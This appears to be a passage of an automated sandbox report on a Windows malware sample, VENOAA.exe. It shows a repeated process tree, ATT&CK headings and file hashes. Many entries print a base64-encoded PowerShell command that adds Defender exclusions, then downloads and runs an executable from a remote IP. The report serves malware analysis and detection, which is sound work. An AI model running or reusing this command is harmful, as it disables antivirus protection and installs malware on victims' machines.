        Suspicious use of AdjustPrivilegeToken
        
        PID:2604
        
        C:\Users\Admin\AppData\Local\Temp\VENOAA.exe
        
        "C:\Users\Admin\AppData\Local\Temp\VENOAA.exe"
        67⤵
        Executes dropped EXE
        
        PID:2628
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAZABtACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYQBkAGoAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAeQB6AHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAcgBlAGgAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwA5ADMALgAxADIAMwAuADgANQAuADEAMAA4AC8AVgBFAE4ATwBBAEEALgBlAHgAZQAnACwAIAA8ACMAYgBlAHIAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBwAGMAdwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBwAGQAcQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBWAEUATgBPAEEAQQAuAGUAeABlACcAKQApADwAIwB2AGEAcQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBoAG4AZAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAaABwAGUAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAVgBFAE4ATwBBAEEALgBlAHgAZQAnACkAPAAjAG4AaQBiACMAPgA="
        68⤵
        Blocklisted process makes network request
        Suspicious use of AdjustPrivilegeToken
        
        PID:1600
        
        C:\Users\Admin\AppData\Local\Temp\VENOAA.exe
        
        "C:\Users\Admin\AppData\Local\Temp\VENOAA.exe"
        69⤵
        Executes dropped EXE
        
        PID:1680
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAZABtACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYQBkAGoAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAeQB6AHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAcgBlAGgAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwA5ADMALgAxADIAMwAuADgANQAuADEAMAA4AC8AVgBFAE4ATwBBAEEALgBlAHgAZQAnACwAIAA8ACMAYgBlAHIAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBwAGMAdwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBwAGQAcQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBWAEUATgBPAEEAQQAuAGUAeABlACcAKQApADwAIwB2AGEAcQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBoAG4AZAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAaABwAGUAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAVgBFAE4ATwBBAEEALgBlAHgAZQAnACkAPAAjAG4AaQBiACMAPgA="
        70⤵
        Blocklisted process makes network request
        Suspicious use of AdjustPrivilegeToken
        
        PID:1740
        
        C:\Users\Admin\AppData\Local\Temp\VENOAA.exe
        
        "C:\Users\Admin\AppData\Local\Temp\VENOAA.exe"
        71⤵
        Executes dropped EXE
        
        PID:392
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAZABtACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYQBkAGoAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAeQB6AHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAcgBlAGgAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwA5ADMALgAxADIAMwAuADgANQAuADEAMAA4AC8AVgBFAE4ATwBBAEEALgBlAHgAZQAnACwAIAA8ACMAYgBlAHIAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBwAGMAdwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBwAGQAcQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBWAEUATgBPAEEAQQAuAGUAeABlACcAKQApADwAIwB2AGEAcQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBoAG4AZAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAaABwAGUAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAVgBFAE4ATwBBAEEALgBlAHgAZQAnACkAPAAjAG4AaQBiACMAPgA="
        72⤵
        Blocklisted process makes network request
        Suspicious use of AdjustPrivilegeToken
        
        PID:2220
        
        C:\Users\Admin\AppData\Local\Temp\VENOAA.exe
        
        "C:\Users\Admin\AppData\Local\Temp\VENOAA.exe"
        73⤵
        Executes dropped EXE
        
        PID:2256
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAZABtACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYQBkAGoAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAeQB6AHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAcgBlAGgAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwA5ADMALgAxADIAMwAuADgANQAuADEAMAA4AC8AVgBFAE4ATwBBAEEALgBlAHgAZQAnACwAIAA8ACMAYgBlAHIAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBwAGMAdwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBwAGQAcQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBWAEUATgBPAEEAQQAuAGUAeABlACcAKQApADwAIwB2AGEAcQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBoAG4AZAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAaABwAGUAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAVgBFAE4ATwBBAEEALgBlAHgAZQAnACkAPAAjAG4AaQBiACMAPgA="
        74⤵
        Blocklisted process makes network request
        Suspicious use of AdjustPrivilegeToken
        
        PID:2732
        
        C:\Users\Admin\AppData\Local\Temp\VENOAA.exe
        
        "C:\Users\Admin\AppData\Local\Temp\VENOAA.exe"
        75⤵
        Executes dropped EXE
        
        PID:2440
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAZABtACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYQBkAGoAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAeQB6AHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAcgBlAGgAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwA5ADMALgAxADIAMwAuADgANQAuADEAMAA4AC8AVgBFAE4ATwBBAEEALgBlAHgAZQAnACwAIAA8ACMAYgBlAHIAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBwAGMAdwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBwAGQAcQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBWAEUATgBPAEEAQQAuAGUAeABlACcAKQApADwAIwB2AGEAcQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBoAG4AZAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAaABwAGUAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAVgBFAE4ATwBBAEEALgBlAHgAZQAnACkAPAAjAG4AaQBiACMAPgA="
        76⤵
        Blocklisted process makes network request
        Suspicious use of AdjustPrivilegeToken
        
        PID:2312
        
        C:\Users\Admin\AppData\Local\Temp\VENOAA.exe
        
        "C:\Users\Admin\AppData\Local\Temp\VENOAA.exe"
        77⤵
        Executes dropped EXE
        
        PID:3040
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAZABtACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYQBkAGoAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAeQB6AHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAcgBlAGgAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwA5ADMALgAxADIAMwAuADgANQAuADEAMAA4AC8AVgBFAE4ATwBBAEEALgBlAHgAZQAnACwAIAA8ACMAYgBlAHIAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBwAGMAdwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBwAGQAcQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBWAEUATgBPAEEAQQAuAGUAeABlACcAKQApADwAIwB2AGEAcQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBoAG4AZAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAaABwAGUAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAVgBFAE4ATwBBAEEALgBlAHgAZQAnACkAPAAjAG4AaQBiACMAPgA="
        78⤵
        Blocklisted process makes network request
        Suspicious use of AdjustPrivilegeToken
        
        PID:2020
        
        C:\Users\Admin\AppData\Local\Temp\VENOAA.exe
        
        "C:\Users\Admin\AppData\Local\Temp\VENOAA.exe"
        79⤵
        Executes dropped EXE
        
        PID:2804
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAZABtACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYQBkAGoAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAeQB6AHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAcgBlAGgAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwA5ADMALgAxADIAMwAuADgANQAuADEAMAA4AC8AVgBFAE4ATwBBAEEALgBlAHgAZQAnACwAIAA8ACMAYgBlAHIAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBwAGMAdwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBwAGQAcQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBWAEUATgBPAEEAQQAuAGUAeABlACcAKQApADwAIwB2AGEAcQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBoAG4AZAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAaABwAGUAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAVgBFAE4ATwBBAEEALgBlAHgAZQAnACkAPAAjAG4AaQBiACMAPgA="
        80⤵
        Blocklisted process makes network request
        Suspicious use of AdjustPrivilegeToken
        
        PID:2528
        
        C:\Users\Admin\AppData\Local\Temp\VENOAA.exe
        
        "C:\Users\Admin\AppData\Local\Temp\VENOAA.exe"
        81⤵
        Executes dropped EXE
        
        PID:2896
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAZABtACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYQBkAGoAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAeQB6AHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAcgBlAGgAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwA5ADMALgAxADIAMwAuADgANQAuADEAMAA4AC8AVgBFAE4ATwBBAEEALgBlAHgAZQAnACwAIAA8ACMAYgBlAHIAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBwAGMAdwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBwAGQAcQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBWAEUATgBPAEEAQQAuAGUAeABlACcAKQApADwAIwB2AGEAcQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBoAG4AZAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAaABwAGUAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAVgBFAE4ATwBBAEEALgBlAHgAZQAnACkAPAAjAG4AaQBiACMAPgA="
        82⤵
        Blocklisted process makes network request
        Suspicious use of AdjustPrivilegeToken
        
        PID:2584
        
        C:\Users\Admin\AppData\Local\Temp\VENOAA.exe
        
        "C:\Users\Admin\AppData\Local\Temp\VENOAA.exe"
        83⤵
        Executes dropped EXE
        
        PID:2428
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAZABtACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYQBkAGoAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAeQB6AHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAcgBlAGgAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwA5ADMALgAxADIAMwAuADgANQAuADEAMAA4AC8AVgBFAE4ATwBBAEEALgBlAHgAZQAnACwAIAA8ACMAYgBlAHIAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBwAGMAdwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBwAGQAcQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBWAEUATgBPAEEAQQAuAGUAeABlACcAKQApADwAIwB2AGEAcQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBoAG4AZAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAaABwAGUAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAVgBFAE4ATwBBAEEALgBlAHgAZQAnACkAPAAjAG4AaQBiACMAPgA="
        84⤵
        Blocklisted process makes network request
        Suspicious use of AdjustPrivilegeToken
        
        PID:2600
        
        C:\Users\Admin\AppData\Local\Temp\VENOAA.exe
        
        "C:\Users\Admin\AppData\Local\Temp\VENOAA.exe"
        85⤵
        Executes dropped EXE
        
        PID:1752
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAZABtACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYQBkAGoAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAeQB6AHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAcgBlAGgAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwA5ADMALgAxADIAMwAuADgANQAuADEAMAA4AC8AVgBFAE4ATwBBAEEALgBlAHgAZQAnACwAIAA8ACMAYgBlAHIAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBwAGMAdwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBwAGQAcQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBWAEUATgBPAEEAQQAuAGUAeABlACcAKQApADwAIwB2AGEAcQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBoAG4AZAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAaABwAGUAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAVgBFAE4ATwBBAEEALgBlAHgAZQAnACkAPAAjAG4AaQBiACMAPgA="
        86⤵
        Blocklisted process makes network request
        Suspicious use of AdjustPrivilegeToken
        
        PID:1892
        
        C:\Users\Admin\AppData\Local\Temp\VENOAA.exe
        
        "C:\Users\Admin\AppData\Local\Temp\VENOAA.exe"
        87⤵
        Executes dropped EXE
        
        PID:928
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAZABtACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYQBkAGoAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAeQB6AHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAcgBlAGgAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwA5ADMALgAxADIAMwAuADgANQAuADEAMAA4AC8AVgBFAE4ATwBBAEEALgBlAHgAZQAnACwAIAA8ACMAYgBlAHIAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBwAGMAdwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBwAGQAcQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBWAEUATgBPAEEAQQAuAGUAeABlACcAKQApADwAIwB2AGEAcQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBoAG4AZAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAaABwAGUAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAVgBFAE4ATwBBAEEALgBlAHgAZQAnACkAPAAjAG4AaQBiACMAPgA="
        88⤵
        Blocklisted process makes network request
        Suspicious use of AdjustPrivilegeToken
        
        PID:1880
        
        C:\Users\Admin\AppData\Local\Temp\VENOAA.exe
        
        "C:\Users\Admin\AppData\Local\Temp\VENOAA.exe"
        89⤵
        Executes dropped EXE
        
        PID:2748
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAZABtACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYQBkAGoAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAeQB6AHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAcgBlAGgAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwA5ADMALgAxADIAMwAuADgANQAuADEAMAA4AC8AVgBFAE4ATwBBAEEALgBlAHgAZQAnACwAIAA8ACMAYgBlAHIAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBwAGMAdwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBwAGQAcQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBWAEUATgBPAEEAQQAuAGUAeABlACcAKQApADwAIwB2AGEAcQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBoAG4AZAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAaABwAGUAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAVgBFAE4ATwBBAEEALgBlAHgAZQAnACkAPAAjAG4AaQBiACMAPgA="
        90⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2080

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\VENOAA.exe

Filesize
6KB

MD5
a79bbca37e4d87e9bd35a6d4f4730250

SHA1
38e7ddeb8f9e7fe8f56a9a43b012d6d5318f7e48

SHA256
3fcf13982c7b543af58f22f18d77b370f2871eec5f8be3838588189ec528afad

SHA512
fac3c4afeed70e78e3162576716c1055616353e109fcbdc06200239dc4c7d28762ef0ee40dac1d2faa1394903f36209c6f49e12a73533d7b733433401d01ab64

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
055f3c3256a2f5b606113078c1a9d4fb

SHA1
86b115cc4a20dcfa94d9c806f38cdc1e4d621102

SHA256
5bee7c214892c311be582024eba331f4fb485822db3ee49e33461ac9440ec909

SHA512
e5b07a28ab1c7bc6ed5ea6af70bd3d2cf4e70466d8b6644cd7520103ad98ceec6edfe729f356e83e7b19f40005b66e664315ba56004c480b199c64348e036537

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
aa07ac5d837cd092f8d486de3d36a572

SHA1
079bf6fb602e068aaa2d65c8a8fd5e352e15c92f

SHA256
14be676246b1d52695032666d684185ad50466a6e2649a8effdff8f62b4e6c2f

SHA512
e73ac1016d8bbf4a4396672a71de3ceb3633e587a5cb66825527bb09948e5a59b6298de7928e6d361ca2935393d8e7f44ff59bc5f7aed150fb6179d757ae1e15

Download Submit
memory/392-337-0x0000000001130000-0x0000000001138000-memory.dmp

Filesize
32KB

Download
memory/780-265-0x0000000000120000-0x0000000000128000-memory.dmp

Filesize
32KB

Download
